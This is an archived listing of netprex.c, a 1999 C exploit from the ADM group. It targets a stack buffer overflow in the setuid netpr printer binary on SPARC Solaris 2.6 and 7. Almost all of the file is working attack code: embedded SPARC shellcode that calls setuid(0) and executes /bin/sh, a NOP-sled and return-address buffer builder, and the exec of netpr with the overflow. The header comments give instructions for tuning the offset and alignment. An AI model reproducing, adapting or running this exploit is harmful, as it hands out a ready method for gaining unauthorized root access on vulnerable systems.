home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / netprex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  152 lines

  1. /**
  2. ***  netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
  3. ***
  4. ***  Tested and confirmed under Solaris 2.6 and 7 (SPARC)
  5. ***
  6. ***  Usage:  % netprex -h hostname [-o offset] [-a alignment]
  7. ***
  8. ***  where hostname is the name of any reachable host running the printer
  9. ***  service on TCP port 515 (such as "localhost" perhaps), offset is the
  10. ***  number of bytes to add to the %sp stack pointer to calculate the
  11. ***  desired return address, and alignment is the number of bytes needed
  12. ***  to correctly align the first NOP inside the exploit buffer.
  13. ***
  14. ***  When the exploit is run, the host specified with the -h option will
  15. ***  receive a connection from the netpr program to a nonsense printer
  16. ***  name, but the host will be otherwise untouched.  The offset parameter
  17. ***  and the alignment parameter have default values that will be used
  18. ***  if no overriding values are specified on the command line.  In some
  19. ***  situations the default values will not work correctly and should
  20. ***  be overridden on the command line.  The offset value should be a
  21. ***  multiple of 8 and should lie reasonably close to the default value;
  22. ***  try adjusting the value by -640 to 640 from the default value in
  23. ***  increments of 64 for starters.  The alignment value should be set
  24. ***  to either 0, 1, 2, or 3.  In order to function correctly, the final
  25. ***  return address should not contain any null bytes, so adjust the offset
  26. ***  appropriately to counteract nulls should any arise.
  27. ***
  28. ***  Cheez Whiz / ADM
  29. ***  cheezbeast@hotmail.com
  30. ***
  31. ***  May 23, 1999
  32. **/
  33.  
  34. /*    Copyright (c) 1999 ADM    */
  35. /*      All Rights Reserved      */
  36.  
  37. /*    THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM    */
  38. /*    The copyright notice above does not evidence any       */
  39. /*    actual or intended publication of such source code.    */
  40.  
  41. #define BUFLEN 1087
  42. #define NOPLEN 932
  43. #define ADDRLEN 80
  44.  
  45. #define OFFSET 1600        /* default offset */
  46. #define ALIGNMENT 1        /* default alignment */
  47.  
  48. #define NOP 0x801bc00f        /* xor %o7,%o7,%g0 */
  49.  
  50. #include <stdio.h>
  51. #include <errno.h>
  52. #include <stdlib.h>
  53. #include <string.h>
  54. #include <unistd.h>
  55.  
  56. char shell[] =
  57.   /* setuid:                                           [2000]*/
  58.   /*  0 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0      [2000]*/
  59.   /*  4 */ "\x82\x10\x20\x17"  /* mov 23,%g1           [2000]*/
  60.   /*  8 */ "\x91\xd0\x20\x08"  /* ta 8                 [2000]*/
  61.   /* alarm:                                            [2000]*/
  62.   /* 12 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0      [2000]*/
  63.   /* 16 */ "\x82\x10\x20\x1b"  /* mov 27,%g1           [2000]*/
  64.   /* 20 */ "\x91\xd0\x20\x08"  /* ta 8                 [2000]*/
  65.   /* execve:                                           [2000]*/
  66.   /* 24 */ "\x2d\x0b\xd8\x9a"  /* sethi %hi(0x2f62696e),%l6  */
  67.   /* 28 */ "\xac\x15\xa1\x6e"  /* or %l6,%lo(0x2f62696e),%l6 */
  68.   /* 32 */ "\x2f\x0b\xdc\xda"  /* sethi %hi(0x2f736800),%l7  */
  69.   /* 36 */ "\x90\x0b\x80\x0e"  /* and %sp,%sp,%o0      [2000]*/
  70.   /* 40 */ "\x92\x03\xa0\x08"  /* add %sp,8,%o1        [2000]*/
  71.   /* 44 */ "\x94\x1b\xc0\x0f"  /* xor %o7,%o7,%o2      [2000]*/
  72.   /* 48 */ "\x9c\x03\xa0\x10"  /* add %sp,16,%sp       [2000]*/
  73.   /* 52 */ "\xec\x3b\xbf\xf0"  /* std %l6,[%sp-16]     [2000]*/
  74.   /* 56 */ "\xd0\x23\xbf\xf8"  /* st %o0,[%sp-8]       [2000]*/
  75.   /* 60 */ "\xc0\x23\xbf\xfc"  /* st %g0,[%sp-4]       [2000]*/
  76.   /* 64 */ "\x82\x10\x20\x3b"  /* mov 59,%g1           [2000]*/
  77.   /* 68 */ "\x91\xd0\x20\x08"; /* ta 8                 [2000]*/
  78.  
  79. extern char *optarg;
  80.  
  81. unsigned long int
  82. get_sp()
  83. {
  84.   __asm__("or %sp,%sp,%i0");
  85. }
  86.  
  87. int
  88. main(int argc, char *argv[])
  89. {
  90.   unsigned long int sp, addr;
  91.   int c, i, offset, alignment;
  92.   char *program, *hostname, buf[BUFLEN+1], *cp;
  93.  
  94.   program = argv[0];
  95.   hostname = "localhost";
  96.   offset = OFFSET;
  97.   alignment = ALIGNMENT;
  98.  
  99.   while ((c = getopt(argc, argv, "h:o:a:")) != EOF)
  100.     {
  101.       switch (c)
  102.         {
  103.         case 'h':
  104.           hostname = optarg;
  105.           break;
  106.         case 'o':
  107.           offset = (int) strtol(optarg, NULL, 0);
  108.           break;
  109.         case 'a':
  110.           alignment = (int) strtol(optarg, NULL, 0);
  111.           break;
  112.         default:
  113.           fprintf(stderr, "usage: %s -h hostname [-o offset] "
  114.                   "[-a alignment]\n", program);
  115.           exit(1);
  116.           break;
  117.         }
  118.     }
  119.   memset(buf, '\xff', BUFLEN);
  120.   for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++)
  121.     {
  122.       *cp++ = (NOP >> 24) & 0xff;
  123.       *cp++ = (NOP >> 16) & 0xff;
  124.       *cp++ = (NOP >>  8) & 0xff;
  125.       *cp++ = (NOP >>  0) & 0xff;
  126.     }
  127.   memcpy(cp, shell, strlen(shell));
  128.   sp = get_sp();
  129.   addr = sp + offset;
  130.   addr &= 0xfffffff8;
  131.   for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++)
  132.     {
  133.       *cp++ = (addr >> 24) & 0xff;
  134.       *cp++ = (addr >> 16) & 0xff;
  135.       *cp++ = (addr >>  8) & 0xff;
  136.       *cp++ = (addr >>  0) & 0xff;
  137.     }
  138.   buf[BUFLEN] = '\0';
  139.   fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
  140.           sp, offset, addr, alignment);
  141.   execle("/usr/lib/lp/bin/netpr",
  142.          "netpr",
  143.          "-I", "foofoo-foofoo",
  144.          "-U", "foofoo!foofoo",
  145.          "-p", buf,
  146.          "-d", hostname,
  147.          "-P", "bsd",
  148.          "/etc/passwd", NULL, NULL);
  149.   fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
  150.   exit(1);
  151. }
  152. /*                    www.hack.co.za           [15 May 2000]*/